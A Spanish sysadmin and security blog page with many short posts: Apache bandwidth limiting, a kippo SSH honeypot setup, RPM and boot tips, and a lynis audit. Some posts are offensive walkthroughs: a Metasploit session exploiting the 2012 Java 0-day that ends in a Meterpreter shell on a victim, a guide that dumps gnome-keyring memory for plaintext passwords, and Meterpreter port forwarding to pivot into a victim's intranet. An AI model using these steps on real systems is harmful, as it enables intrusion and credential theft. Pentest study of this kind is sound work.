Cómo limitar ancho de banda en apache2

apache2 es uno de los mejores y más populares servidores web que hay actualmente y es software libre, por lo tanto la creación de nuevos módulos para tener un mayor número de funcionalidades.
Si tenemos un servidor de vídeos (estilo youtube) o un ancho de banda limitado en casa, podemos indicarle a apache, gracias al módulo mod-bw que no supere un cierto ancho de banda, limitando así la velocidad de las conexiones. Esto es especialmente útil si se conecta mucha gente y nos podemos quedar sin ancho de banda para navegar nosotros, por ejemplo.
Aunque efectivamente hay muchas otras opciones para hacer lo mismo, ésta no es de las más descabelladas, así que vamos a ver cómo poder hacerlo.
Primeramente vamos a instalar el módulo que está, como no, incluido en los repositorios debian,
shell> apt-get install libapache2-mod-bw
Una vez instalalo el módulo tenemos que cargarlo,
shell> a2enmod bw
Tras ello, ya lo podemos emplear en el site que más nos interese, para ello, únicamente hay que incluir unas pocas directivas nuevas.
<VirtualHost *:80>
        ServerName www.videos.local.com
        ServerAlias videos.local.com
        DocumentRoot /var/www/stream

        # Turn bandwidth limitation on
        BandwidthModule On

        # force limitation on every request
        ForceBandWidthModule On

        # limit to 1000kB/s
        Bandwidth all 1000000

        # Setup custom error message
        ErrorDocument 510 maxconexceeded.html
        BandWidthError 510

        # Limit avi and mpg extensions to 50kb/s.
        LargeFileLimit .avi 1 50000
        LargeFileLimit .mpg 1 50000
</VirtualHost>
Para finalizar y te tengan efecto los cambios realizados, reiniciamos apache y listo.
shell> /etc/init.d/apache2 restart
Leer más

kippo, port redirect

Alguna gente me ha preguntado, a razón del post de cómo instalar kippo, cómo poder poner a kippo en el puerto 22 (tradicionalmente ssh), ya que al tener que ejecutarlo como usuario sin privilegios no deja levantarlo en dicho puerto. La solución no está en ningún fake en el código, simplemente está un poco de empleo de iptables. Así que si por defecto está arrancado en el puerto 2222, únicamente
shell> iptables -t nat -A PREROUTING \
       -i eth0  -p tcp --dport 22 \
       -j REDIRECT --to-port 2222
Como por cierto, muy bien recomiendan en la documentación. Otra forma de hacerlo que también se recomienda desde la documentación de kippo es el empleo de authbind, un software que permite levantar servicios a usuarios sin privilegios en puertos inferiores al 1024, tradicionalmente sólo permitido a root. Este paquete está disponible en los repositorios oficiales de debian, por lo que resulta sencilla la instalación.
shell> apt-get install authbind
Una vez está instalado nos queda configurar el acceso como usuarios normales al puerto 22. Para ello creamos el fichero /etc/authbind/byport/22 y lo establecer del usuario que vaya a ejecutar el software kippo. En mi caso, javier.
shell> touch /etc/authbind/byport/22
shell> chown javier:javier /etc/authbind/byport/22
shell> chmod 777 /etc/authbind/byport/22
Una vez que lo tenemos, únicamente queda modificar el fichero start.sh y añadir al principio de la línea que llame a authbind, quedando tal que así,
#!/bin/sh

echo -n "Starting kippo in background..."
authbind --deep twistd -y kippo.tac -l log/kippo.log --pidfile kippo.pid
Y lógicamente en la configuración (kippo.cfg) cambiar el puerto de 2222 (puerto por defecto) al 22, puerto en el que ahora ya tenemos permisos.
...
ssh_port = 22
...
Leer más

Habilitar log de inicio en GNU/Linux

En GNU/Linux cuando el sistema está arrancando, hay algunos log's que se pierden y no quedan escritos en ningún lado y dmesg tiene un límite, así que si nos interesa que estos eventos queden registrados lo podemos conseguir cambiando el contenido del fichero /etc/default/bootlogd de NO a YES,
# Run bootlogd at startup ?
BOOTLOGD_ENABLE=YES
En el próximo reinicio, los log's de arranque se escribirán en /var/log/boot.
Leer más

Metasploit, java_jre17_exec 0 day exploit

Ayer se dio a conocer por todo Internet un 0 day de Java, con el código fuente del mismo que permite acceso remoto a un equipo con la simple visita de una página web para ello preparada (o la ejecución del código). Aunque el código ya está publicado por la red, la gente de metasploit también ha sacado un pequeño módulo que aprovecha dicha vulnerabilidad para permitir a un atacante acceder a una máquina vulnerable. Si quieres comprobar si tu infraestructura se ve afectada, simplemente actualiza tus módulos y ¡compruébalo!
msf> use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec)> show options

Module options (exploit/multi/browser/java_jre17_exec):

 Name        Setting  Description
 ----        -------  -----------
 SRVHOST     0.0.0.0  The local host to listen on.
 SRVPORT     8080     The local port to listen on.
 SSL         false    Negotiate SSL for incoming connections
 SSLCert              Path to a custom SSL certificate
 SSLVersion  SSL3     Specify the version of SSL that should be used
 URIPATH              The URI to use for this exploit

Exploit target:

 Id  Name
 --  ----
 0   Generic (Java Payload)

msf exploit(java_jre17_exec)> set URIPATH /
URIPATH => /
msf exploit(java_jre17_exec)> set SRVPORT 80
SRVPORT => 80
Tras tener todo cargado y configurado, únicamente queda por ejecutar el exploit.
msf exploit(java_jre17_exec)> exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.33:4444 
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.1.33:80/
[*] Server started.
Una vez lanzado, sólo queda esperar a que una víctima acceda a la página vulnerable y que tenga el plugin de java activado. En este caso da igual el navegador o el sistema operativo, ya que todos se ven afectados.
msf exploit(java_jre17_exec)>
[*] 192.168.1.33  java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.1.33  java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 192.168.1.33
[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.50:1259) at 2012-08-28 19:59:45 +0200

msf exploit(java_jre17_exec)> sessions

Active sessions
===============

 Id  Type                   Connection
 --  ----                   ----------
 1   meterpreter java/java  192.168.1.33:4444 -> 192.168.1.50:1259

msf exploit(java_jre17_exec)> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
Por el momento no hay ningún parche de seguridad, así que lo mejor es deshabilitar el complemento Java de todos los navegadores.

Más información, aquí y aquí.

[Actualización 31-Agosto-2012]
Oracle por fin ha publicado la esperada actualización al fallo de seguridad CVE-2012-4681. Actualiza: Java™ SE Development Kit 7, Update 7 (JDK 7u7).
Leer más

kippo, mysql schema

Ya hemos detallado cómo instalar y configurar kippo como servicio honeypot ssh y las ventajas que supone tener almacenadas los intentos de acceso y los comandos en una base de datos. kippo por defecto no las almacena, para editando un poco su configuración sí se puede habilitar el acceso a base de datos, como bien se detalló aquí. Sin embargo, antes de poder habilitar el acceso e iniciar el servicio hay que crear la base de datos y desplegar el schema de kippo para que todo funcione correctamente. Por supuesto, partimos de un servidor de base de datos MySQL accesible desde la máquina de kippo.
El schema de kippo está en la carpeta doc/sql/ y se llama mysql.sql y únicamente son las definiciones de las tablas que el servicio emplear. Para desplegarlo por lo tanto,
shell> mysql -u root -p
Enter password:

mysql> create database kippo;
Query OK, 1 row affected (0.01 sec)

mysql> use kippo;
Database changed

mysql> source ~/kippo-0.5/doc/sql/mysql.sql
Query OK, 0 rows affected (0.06 sec)

Query OK, 0 rows affected (0.06 sec)

Query OK, 0 rows affected (0.06 sec)

Query OK, 0 rows affected (0.06 sec)

Query OK, 0 rows affected (0.06 sec)

Query OK, 0 rows affected (0.06 sec)

mysql> show tables;
+-----------------+
| Tables_in_kippo |
+-----------------+
| auth            |
| clients         |
| input           |
| sensors         |
| sessions        |
| ttylog          |
+-----------------+
6 rows in set (0.00 sec)
Finalmente damos permisos a un usuario 'normal' para acceder y así no tener que acceder con usuario root.
mysql> GRANT ALL PRIVILEGES
       -> ON kippo.*
       -> TO 'kippo'@'localhost'
       -> IDENTIFIED BY 'kippo';
Query OK, 0 rows affected (0.00 sec)
Leer más

¿Cuál es tu IP pública?

Aunque es algo muy sencillo de averiguar y hay muchas formas de hacerlo, si estamos detrás de un equipo con NAT y necesitamos saber la IP pública con la que salimos a internet, ésto lo podemos lograr con el siguiente comando,
shell> curl -s http://checkrealip.com | grep 'IP Address'
En caso de que la IP cambie con cierta frecuencia, podemos crear un pequeño alias que nos devuelva la IP siempre que lo llamemos,
shell> alias myip="curl -s http://checkrealip.com | grep 'IP Address'"
shell> myip
Current IP Address: 185.26.Y.X
Leer más

kippo, probando un honeypot ssh

Si estás metido en el mundo de la seguridad informática o en el mundo Linux fijo que alguna vez has escuchado ya este término. Un honeypot no es más que un pequeño tarro de miel que, como éste, atrae a todos los posibles atacantes. La idea es dejar "un equipo" accesible y de fácil acceso para que los posibles atacantes "queden en él" y así no se centren en equipos más importantes de la red.
Existen numerosas aplicaciones de éste tipo, especialmente para servicios tales como ssh o telnet y hoy nos vamos a centrar en un honeypot ssh, en este caso kippo. La verdad es que existen muchos y la decisión de comentar éste no es por nada en particular, sólo que ofrece una gran facilidad de instalación (especialmente en equipos debian) y una gran versatilidad, ofreciendo la posibilidad de enviar de forma automática los reportes a base de datos (mysql), con lo que el análisis estadístico será mucho más fácil de hacer.
Para realizar la instalación seguiremos los pasos que está perfectamente descritos en la wiki del proyecto, con algún añadido que espero os sea de utilidad. Comenzamos.
  • Instalación del software necesario
    Por defecto para poder arrancar kippo necesitamos tener instalado python-twisted y si nos interesa la conexión con la base de datos (mysql), también hay que instalar python-mysqldb.
    shell> apt-get install python-twisted python-mysqldb
    
  • Obtener kippo
    Descargamos desde la web oficial la última versión del honeypot. En este caso la 0.5 y lo descomprimimos.
    shell> wget http://kippo.googlecode.com/files/kippo-0.5.tar.gz
    shell> tar zxvf kippo-0.5.tar.gz
  • Configurar kippo (kippo.cfg)
    Sólo falta configurarlo antes de arrancar. La configuración que trae por defecto es perfectamente válida, pero yo prefiero cambiarle el nombre, para saber a qué 'máquina' de la red me estoy conectado (en real, este nombre mejor no establecerlo) y también configurar la conexión contra la base de datos.
    Antes de arrancar el servicio tenemos que crear la base de datos de kippo y desplegar el schema, ya que no lo hace automáticamente. Pincha aquí para ver cómo se hace.
    ...
    hostname = kippo # nombre del equipo 'fake'
    ...
    fake_addr = 192.168.1.254 # ip del equipo 'fake'
    ...
    [database_mysql]
    host = localhost
    database = kippo
    username = kipoo
    password = kippo
    
  • Establecer las contraseñas fake
    Aunque por defecto la contraseña empleada es '123456', es mejor crear ya una seria de contraseñas que quieras que sean válidas para tu sistema. Para hacerlo ya trae una utilidad (passdb.py) que sirve para tal fin. Permite en tiempo real generar (add), borrar (remove) y listar (list) contraseñas.
    shell> utils/passdb.py ../data/pass.db add root
    shell> utils/passdb.py ../data/pass.db add 1234
    shell> utils/passdb.py ../data/pass.db list
    1234
    root
    
  • Arrancar el honeypot
    Y finalmente sólo queda arrancar la trampa. Aunque no se citó hasta ahora, por defecto y para proteger el sistema no se permite la ejecución como root del honeypot. En caso de que tenga algún fallo y el atacante consiga acceso al sistema, al no ser root no tendrá un acceso completo.
    shell> ./start.sh
    Starting kippo in background...Loading dblog engine: mysql
    
Una vez kippo arrancado, éste queda en segundo plano ejecutándose sin hacer nada a la espera de conexiones. Toda la actividad que sea detectada se queda almacenada en el fichero log/kippo.log, que podrá ser consultado en tiempo real y a mayores, también está metiendo datos de accesos en la base de datos. Aquí vemos un intento de acceso al sistema con el usuario root y la contraseña empleada aunque infructuoso.
shell> tail -f log/kippo.log
2012-08-08 16:24:39+0200 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: 192.168.1.33:40222 (192.168.1.35:2222) [session: 0]
2012-08-08 16:24:40+0200 [HoneyPotTransport,0,192.168.1.33] Remote SSH version: SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2
2012-08-08 16:24:40+0200 [HoneyPotTransport,0,192.168.1.33] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2012-08-08 16:24:40+0200 [HoneyPotTransport,0,192.168.1.33] outgoing: aes128-ctr hmac-md5 none
2012-08-08 16:24:40+0200 [HoneyPotTransport,0,192.168.1.33] incoming: aes128-ctr hmac-md5 none
2012-08-08 16:24:40+0200 [HoneyPotTransport,0,192.168.1.33] NEW KEYS
2012-08-08 16:24:40+0200 [HoneyPotTransport,0,192.168.1.33] starting service ssh-userauth
2012-08-08 16:24:40+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] root trying auth none
2012-08-08 16:24:40+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] root trying auth keyboard-interactive
2012-08-08 16:24:41+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] login attempt [root/asd] failed
2012-08-08 16:24:41+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] root failed auth keyboard-interactive
2012-08-08 16:24:41+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] unauthorized login: 
2012-08-08 16:24:41+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] root trying auth keyboard-interactive
2012-08-08 16:24:44+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] login attempt [root/qwer] failed
2012-08-08 16:24:44+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] root failed auth keyboard-interactive
2012-08-08 16:24:44+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] unauthorized login: 
2012-08-08 16:24:44+0200 [SSHService ssh-userauth on HoneyPotTransport,0,192.168.1.33] root trying auth keyboard-interactive
2012-08-08 16:24:46+0200 [HoneyPotTransport,0,192.168.1.33] connection lost
Lo mismo lo podemos ver en la base de datos, que también está almacenando dicha información de forma más estructurada. Para este mismo caso se han detectado,
mysql> select * from auth;
+----+-----------+---------+----------+----------+---------------------+
| id | session   | success | username | password | timestamp           |
+----+-----------+---------+----------+----------+---------------------+
|  1 | c9fc90fce |       0 | root     | asd      | 2012-08-11 14:24:41 |
|  2 | 63ef9f098 |       0 | root     | qwer     | 2012-08-11 14:24:44 |
+----+-----------+---------+----------+----------+---------------------+
2 rows in set (0.00 sec)
En caso de que un intento de acceso sea correcto el atacante quedará en una sesión que simula perfectamente un equipo accesible por ssh, pero sin datos reales y almacenando todo lo que ejecuta en la base de datos.
mysql> select * from auth;
+----+-----------+---------+----------+----------+---------------------+
| id | session   | success | username | password | timestamp           |
+----+-----------+---------+----------+----------+---------------------+
|  1 | c9fc90fce |       0 | root     | asd      | 2012-08-11 14:24:41 |
|  2 | 63ef9f098 |       0 | root     | qwer     | 2012-08-11 14:24:44 |
|  3 | a2582fc84 |       1 | root     | 1234     | 2012-08-08 14:30:44 |
+----+-----------+---------+----------+----------+---------------------+
2 rows in set (0.00 sec)

mysql> select * from input;
+----+-----------+---------------------+---------+-----------------+
| id | session   | timestamp           | success | input           |
+----+-----------+-------------------- +---------+-----------------+
|  1 | a2582fc0e | 2012-08-11 14:31:00 |       1 | ls              |
|  2 | a2582fc1e | 2012-08-11 14:32:05 |       1 | cd /etc         |
|  3 | a2582fc2e | 2012-08-11 14:32:10 |       1 | cat fstab       |
|  4 | a2582fc3e | 2012-08-11 14:32:13 |       1 | cat passwd      |
|  5 | a2582fc4e | 2012-08-11 14:32:17 |       1 | ls              |
|  6 | a2582fc5e | 2012-08-11 14:32:46 |       1 | ifconfig        |
|  7 | a2582fc6e | 2012-08-11 14:32:58 |       1 | ping 10.98.55.1 |
|  8 | a2582fc7e | 2012-08-11 14:33:03 |       0 | route -n        |
|  9 | a2582fc8e | 2012-08-11 14:33:06 |       0 | route           |
| 10 | a2582fc9e | 2012-08-11 14:33:09 |       0 | ip a l          |
+----+-----------+---------------------+---------+-----------------+
10 rows in set (0.00 sec)
Como podéis observar la información recolectada es de mucha importancia y da una idea clara de lo que pueden hacer los atacantes a un sistema real, así como saber qué tipo de contraseñas y máquinas emplean.
Todo este entorno es de desarrollo en casa y por lo tanto no tiene mucho sentido. Intentaré probarlo en real y ya os mostraré los datos que aparecen después de un par de días de funcionamiento. Fijo que son sorprendentes.
Leer más

rpm rollback package

El sistema de paquetería RPM no deja de sorprenderme y cada día más. Hoy descubrí un pequeño gran truco. Nada más ni nada menos que el rollback de los paquetes. Esto quiere decir, la marcha atrás de una actualización o instalación de algún paquete, por si el resultado no es el esperado. Tenerlo habilitado, lógicamente consume más espacio es disco, pero los amplios beneficios que ofrece, creo que compensan con creces el espacio extra.
Según lo que dice la documentación oficial, hay que decir que el rollback dejó de estar soportado "oficialmente" desde la versión RHEL 5, aunque internamente sigue funcionando. Así que vamos a ver cómo configurarla y emplearla.

  • Editamos el fichero /etc/yum.conf y agregamos la línea
    tsflags=repackage
    
    Con ello conseguimos indicarle a yum que debe guardar la información necesaria para poder realizar rollback de los paquetes.
  • Editamos el fichero /etc/rpm/macros y agregamos la línea
    %_repackage_all_erasures 1
    
    Esta configuración le indica al sistema rpm lo mismo que la anterior.
A partir de este punto el sistema está ya preparado para regresar a un estado anterior si fuera necesario. La forma de poder conseguirlo no es otros que indicándole a rpm la fecha a la que queremos que regrese con la opción rollback,
shell> rpm -Uvh -rollback '1 day ago'
Leer más

Seguridad en la RAM


Cuando estamos haciendo pruebas de pentesting y accedemos a un equipo, lo más importante es conseguir las contraseñas para poder volver a acceder. Una de las formas más sencillas es obtenerlas de los ficheros y luego "reventarlas" en local, por ejemplo. Pasar de un churro md5 a una contraseña. Si tenemos esto es genial, pero lo único que nos facilita es poder volver acceder al sistema, no obtenemos ningún dato más.

En un equipo con un uso normal, se emplean muchas contraseñas y muchas de las mismas pueden ser completamente diferentes, así que lo ideal sería poder obtenerlas. Un software bien diseñado almacena las contraseñas en memoria cifradas, sin embargo... ¿cuánto software de ese hay en un equipo? La gran mayoría dejará las contraseñas en texto plano en la memoria ram, así que sólo habrá que saber cómo buscarlas.
Indagando un poco, y la verdad es que poco, descubrí pd, un software que permite hacer volcados de la memoria de un proceso a fichero para luego examinar su contenido. Existe una versión para GNU/Linux y otra para Windows y aunque llevar tiempo sin actualizarse, la verdad es que sigue funcionando perfectamente. Lo único necesario es el PID del proceso. Es aquí donde tenemos que saber dónde buscar. Yo ejecutando un 'ps aux' en mi sistema tengo el proceso 'gnome-keyring-daemon' que me parece interesante, así que vamos a ver, paso a paso, cómo obtener la contraseña desde memoria.
  • Obtenemos pd
    shell> wget \
    http://www.trapkit.de/research/forensic/pd/pd_v1.1_lnx.bz2
    shell> bunzip2 pd_v1.1_lnx.bz2
    shell> mv pd_v1.1_lnx pd
    
  • Obtenemos el PID del proceso
    Para obtener el PID del proceso, simplemente ejecutamos un 'ps x' y filtramos por el proceso que nos interese. En mi caso, gnome-keyring-daemon.
    En sistemas Windows, para hacer el volcado se puede emplear la misma técnica, únicamente cambia la forma de averiguar el PID del proceso, que es con el comando tasklist.
    shell> ps x |grep gnome-keyring
    2432 ? Sl /usr/bin/gnome-keyring-daemon --daemonize --login
    2590 ? S  /usr/bin/gnome-keyring-daemon --start --components=secrets
    
  • Volcado de memoria
    Sabiendo el PID del proceso, simplemente se lo pasamos como argumento y hacemos un redirect de la salida a un fichero, que posteriormente lo analizaremos.
    shell> ./pd_v1.1_lnx -p 2432 > key.dump
    pd, version 1.1 tk 2006, www.trapkit.de
    
    Dump complete.
    
  • Data -> text
    Una vez que tenemos la salida de la memoria la podemos intentar comprender así, pero lo más sencillo es que hagamos uso del comando strings para obtener una salida más simple de comprender.
    shell> strings key.dump > key.txt
    
  • Buscamos la contraseña
    Ahora que ya tenemos el volcado de memoria en formato texto, únicamente quedará por realizar la búsqueda de información sensible. Para ello, depende mucho del programa, pero generalmente tiene la cadena passwd, password, contraseña o similar y a continuación los datos que nos interesa. Por lo tanto, abrimos el fichero y se puede ver algo similar a lo que sigue.
    ...
    _Contrase
    minutos
    00004000
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh?p
    .r4qu3l12
    zR:W
    mipasswdenclaro
    ...
    
Con esto que acabamos de descubrir podemos ver que el proceso gnome-keyring-daemon no es para nada seguro. ¿Qué pasará si analizamos sudo?
Leer más

metasploit, portforwarding

Acceder a una máquina de una red es un trabajo de pentesting complejo y que puede llevar su tiempo. Una vez tenemos acceso a ella, lo siguiente es asegurar que podamos "quedarnos", tal como ya de detalló hace tiempo. Una vez garanticemos el acceso, el siguiente paso es seguir en la escalada, para descubrir nuevos equipos y/o servicios que puedan ser también vulnerables. Vamos a ponernos en el caso de que acabamos de acceder a un equipo Windows en una red remota. Ese equipo ahora está accesible para nosotros, pero vemos que existen en su red local equipos con servicios web, los cuales nos interesa explotar, pero que no son accesibles remotamente. Para esto, la mejor solución es emplear desde meterpreter lo que se conoce como portforwarding.
El portforwarding es el redireccionamiento de puertos a través de un equipo. Por lo tanto empleando meterpreter vamos a redireccionar todo el tráfico de un puerto de éste equipo a otro de un equipo al que éste sí tiene acceso.
meterpreter> portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

  -L <opt>  The local host to listen on (optional).
  -h        Help banner.
  -l <opt>  The local port to listen on.
  -p <opt>  The remote port to connect to.
  -r <opt>  The remote host to connect to.
El comando a emplear es portfwd, así que indicamos la IP destino de dentro de la red de la víctima, el puerto destino y el puerto a través del cual queremos hacer el forwarding.
meterpreter> portfwd add -l 3000 -p 80 -r 192.168.1.35

[*] Local TCP relay created: 0.0.0.0:3000 <-> 192.168.1.35:80
Por lo tanto todo el tráfico que se mande al puerto 3000 de la IP de la víctima será automáticamente enviado al puerto 80 de la IP 192.168.1.35 (IP de dentro de la red víctima). Es decir, se podrá ver una web que tengan en la intranet.
Leer más

lynis audit tool

lynis es un pequeño script de auditoría de sistema, también conocido como rootkit, escrito por Michael Boelen. Aunque ya vimos en este blog algún ejemplo de software de auditoría, la gran ventaja de GNU/Linux es la inmensa cantidad de software que puede existir para cada cosa. Y como nunca se está lo suficientemente seguro...
Este pequeño script, escrito en bash, realiza una serie de pruebas que van desde la revisión de los métodos de autenticación, permisos de archivos, contraseñas, medidas de seguridad, etc. hasta cosas más complejas referentes a servicios 8bind, apache, mysql, etc.).
Su instalación es sencilla, puesto que hay paquetes para las principales distribuciones y en el caso de Debian, está incluido en el repositorio oficial.
shell> apt-get install lynis
Una vez está instalado, simplemente hay que ejecutarlo para obtener el menú de ayuda y saber exactamente qué parámetros pasarle.
shell> lynis

[ Lynis 1.2.9 ]

#########################################################################
Lynis comes with ABSOLUTELY NO WARRANTY.This is free software,and you are
welcome to redistribute it under the terms of GNU General Public License.
See LICENSE file for details about using this software.

Copyright 2007-2009 - Michael Boelen, http://www.rootkit.nl/
#########################################################################

[+] Initializing program
------------------------------------
Valid parameters:
 --auditor ""           : Auditor name
 --check-all (-c)       : Check system
 --check-update         : Check for updates
 --no-colors            : Don't use colors in output
 --no-log               : Don't create a log file
 --profile              : Scan the system with the given profile file
 --quick (-Q)           : Quick mode, don't wait for user input
 --quiet (-q)           : No output, except warnings
 --reverse-colors       : Optimize color display for light backgrounds
 --tests ""             : Run only tests defined by 
 --tests-category ""    : Run only tests defined by 
 --view-manpage (--man) : View man page
 --version (-V)         : Display version number and quit
Pues bien, como se puede comprobar, permite chequear si hay actualizaciones o realizar una comprobación del sistema. Mi recomendación es que uséis la opción de comprobar sistema (-c) y también las opciones -Q y -q, ya que saca bastentes cosas en modo "no silencioso" y antes de empezar cada una de las baterías de pruebas pide confirmación (INTRO).
shell> lynis -c --auditor "Javier"

[ Lynis 1.2.9 ]

#########################################################################
Lynis comes with ABSOLUTELY NO WARRANTY.This is free software,and you are
welcome to redistribute it under the terms of GNU General Public License.
See LICENSE file for details about using this software.

Copyright 2007-2009 - Michael Boelen, http://www.rootkit.nl/
#########################################################################

[+] Initializing program
------------------------------------
 - Detecting OS...                                           [ DONE ]
 - Clearing log file (/var/log/lynis.log)...                 [ DONE ]
---------------------------------------------------
 Program version:           1.2.9
 Operating system:          Linux
 Operating system name:     Linux
 Operating system version:  2.6.32-5-686
 Kernel version:            2.6.32-5-686
 Hardware platform:         i686
 Hostname:                  jenocrates
 Auditor:                   Javier
 Profile:                   /etc/lynis/default.prf
 Log file:                  /var/log/lynis.log
 Report file:               /var/log/lynis-report.dat
 Report version:            1.0
---------------------------------------------------

[ Press [ENTER] to continue, or [CTRL]+C to stop ]

 - Checking profile file (/etc/lynis/default.prf)...
 - Program update status...                      [ UPDATE AVAILABLE ]

=========================================================================
Notice: Lynis update available
 Current version : 129   Latest version : 130
 Please update to the latest version for new features, bug fixes, tests
 and baselines.
=========================================================================

[ Press [ENTER] to continue, or [CTRL]+C to stop ]
Tras finalizar el escaneo, lo importante son las conclusiones y las recomendaciones que saca la propia herramienta.
...
Tests performed: 147
Warnings:
----------------------------
 - Warning: No password set on GRUB bootloader [impact:M]
 - Warning: No password set for single mode [impact:L]
 - Warning: Couldn't find 2 responsive nameservers [impact:L]
 - Warning: Root can directly login via SSH [impact:M]

Suggestions:
----------------------------
 - Suggestion: update to the latest stable release.
 - Suggestion: Run pwck manually and correct found issues.
 - Suggestion: Default umask in /etc/profile could be more strict like 027
 - Suggestion: Check why klogd is not running
 - Suggestion: Add legal banner to /etc/issue, to warn unauthorized users
 - Suggestion: Enable sysstat to collect accounting
 - Suggestion: Enable auditd to collect audit information
 - Suggestion: Renew SSL expired certificates.
 - Suggestion: Install a file integrity tool
=========================================================================
Los ficheros de salida, excepto que se cambien en la configuración son,
  • Test e información de depuración: /var/log/lynis.log
  • Reporte: /var/log/lynis-report.dat
Aunque lynis no tiene la opción de ejecutarse como daemon y enviar informes diarios, realizar esto desde cron sería añadir algo similar a esto al crontab.
25 6 * * *  root  lynis -c -Q|mail -s "lynis report" root@domain.com
Leer más

RPM, fecha de instalación de un paquete

Aunque no es algo habitual, quizás en algún momento nos interesa saber en qué día y a qué hora se instaló un paquete en nuestro sistema Red Hat/CentOS, así que la mejor forma de saberlo es preguntárselo a rpm. Este comando nos puede dar un listado de todos los paquetes instalados con la fecha exacta de su instalación. Si el sistema está recién instalado, lo más normal es que todos tengan la misma hora, pero a partir de ahí, según posteriores actualizaciones y nuevas instalaciones, se podrá ver cómo estos van cambiando poco a poco su fecha. Para poder obtener la fecha, únicamente hay que emplear la opción --last.
shell> rpm -qa --last
sudo-1.7.2p1-14.el5_8.3                       Thu Aug 16 13:07:28 2012
nss-tools-3.13.5-4.el5_8                      Tue Aug  7 09:11:48 2012
nscd-2.5-81.el5_8.4                           Tue Aug  7 09:11:48 2012
tzdata-2012c-3.el5                            Tue Aug  7 09:10:41 2012
libtiff-3.8.2-15.el5_8                        Mon Jul  9 09:08:25 2012
e2fsprogs-libs-1.39-34.el5_8.1                Thu Jun 28 11:02:23 2012
perl-Date-Calc-5.4-1.2.2.1                    Wed Jun 20 10:49:01 2012
perl-Bit-Vector-6.4-2.2.2.1                   Wed Jun 20 10:49:01 2012
...
O aplicándolo a un sólo paquetes,
shell> rpm -qa --last sudo
sudo-1.7.2p1-14.el5_8.3                       Thu Aug 16 13:07:28 2012
Este comando a mayores de indicarnos la fecha nos permite obtener un listado de los paquetes que se han instalado juntos (coinciden en fecha), lo que puede ayudar a diagnosticar un problema en el sistema en caso de que algo falle tras la instalación de algún software.
Leer más

GNU/Linux runlevels

El sistema operativo cuando arranca ofrece varias formas diferentes, pero iguales de arrancar. Lo más similar a lo que aquí se explica es el método de arranque del Windows: Modo a prueba de fallos, Modo sin red, etc. Pues en GNU/Linux esto es exactamente lo mismo, pero de forma mucho más simple y fácil de controlar. Es lo que se conoce como runlevels, o niveles de arranque. La ventaja que presenta en este caso ser libre es que tú como usuario puedes decidir en qué nivel arrancas en cada ocasión y sobre todo qué programas quieres que se ejecuten en cada nivel. Los niveles que existen son:
  • 0 - halt
  • 1 - single-user mode
  • 2 - multi-user mode without networking
  • 3 - multi-user mode without display
  • 4 - not used
  • 5 - multi-user mode with display
  • 6 - reboot
El nivel por defecto suele ser para servidores el runlevel 3 y para equipos de escritorio el runlevel 5. El nivel 1 y 2 suele quedar relegado a tareas de administración o solución de fallos.
Aunque depende mucho de la distribución, por norma general los niveles de arranque se configuran en /etc/rcX.d/ o en /etc/init.d/. En debian por ejemplo existen herramientas para modificar los programas que se arrancan en el inicia, como pueden ser rcconf o update-rc.d.
Leer más

metasploit, port scan

Aunque existen muchas formas de realizar un escaneo de puertos desde GNU/Linux, la más común y habitual nmap, metasploit también permite realizar un escaneo de uno o varios equipos de forma rápida y eficaz. Para ello, simplemente hay que emplear el módulo "portscan/tcp".
msf> search portscan

Matching Modules
================

Name                                     Rank   Description
----                                     ----   -----------
auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP Port Scanner
auxiliary/scanner/portscan/ack           normal TCP ACK Firewall Scanner
auxiliary/scanner/portscan/ftpbounce     normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn           normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp           normal TCP Port Scanner
auxiliary/scanner/portscan/xmas          normal TCP "XMas" Port Scanner

msf> use auxiliary/scanner/portscan/tcp
Una vez el módulo auxiliar cargado, sólo queda configurarlo,
msf auxiliary(tcp)> set INTERFACE eth2
INTERFACE => eth2
msf auxiliary(tcp)> set RHOSTS 192.168.1.7 192.168.1.210
RHOSTS => 192.168.1.7 192.168.1.210
msf auxiliary(tcp)> set THREADS 4
THREADS => 4
msf auxiliary(tcp)> show options

Module options (auxiliary/scanner/portscan/tcp):

Name         Setting  Description
----         -------  -----------
CONCURRENCY  10             Number of concurrent ports to check per host
FILTER                      The filter string for capturing traffic
INTERFACE    eth2           The name of the interface
PCAPFILE                    The name of the PCAP capture file to process
PORTS        1-10000        Ports to scan (e.g. 22-25,80,110-900)
RHOSTS       192.168.1.7    
             192.168.1.210  The target address range or CIDR identifier
SNAPLEN      65535          The number of bytes to capture
THREADS      4              The number of concurrent threads
